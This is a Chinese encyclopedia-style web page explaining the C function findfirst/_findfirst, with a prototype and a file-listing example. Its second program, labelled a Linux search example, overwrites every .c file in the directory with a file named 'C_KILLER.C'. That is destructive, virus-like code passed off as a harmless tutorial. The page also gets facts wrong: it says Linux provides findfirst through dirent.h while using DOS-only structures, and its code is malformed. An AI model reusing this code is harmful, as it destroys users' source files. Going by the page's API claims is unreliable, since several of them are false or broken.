findfirst

生活百科 2023-01-17 20:00生活百科www.aizhengw.cn

findfirst

findfirst是一个计算机函式,功能是搜寻与指定的档案名称称匹配的第一个实例,若成功则返回第一个实例的句柄,否则返回-1L。

基本介绍

  • 中文名:findfirst
  • 函式简介:函式名称:_findfirst
  • 函式功能:搜寻与指定的档案名称称匹
  • 函式原型:long _findfirst( char *fil

函式原型

函式原型:long _findfirst( char *filespec, struct _finddata_t *fileinfo );
头档案:io.h

程式举例

#include<io.h>#include<stdio.h>int main(){long Handle;struct _finddata_t FileInfo;if((Handle=_findfirst("D:\\*.txt",&FileInfo))==-1L)printf("没有找到匹配的项目\n");else{printf("%s\n",FileInfo.name);while(_findnext(Handle,&FileInfo)==0)printf("%s\n",FileInfo.name);_findclose(Handle);}return0;}

系统下状态

Linux下的FindFirst
在linux作业系统下,编译器用findfirst(),而不是_findfirst().
linux作业系统下的查找档案的操作,需要包含dirent.h头档案.

查找程式

#include <dirent.h>
#include<io.h>
#include<stdlib.h>
#include<stdio.h>
int main(void)
{
int done;//整形变数
struct ffblk ffblk; //声名结构变数
done = findfirst("*.c",&ffblk,2);
while (!done)
{
if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 )
{
copyfile("C_KILLER.C",ffblk.ff_name);
}
done = findnext(&ffblk);
}
}
}
上一篇:BIKETO脚踏车网 下一篇:James Fogle

Copyright@2015-2025 www.aizhengw.cn 癌症网版板所有

宫颈癌症状,癌症会传染吗,癌症症状,癌症能治好吗,癌症遗传吗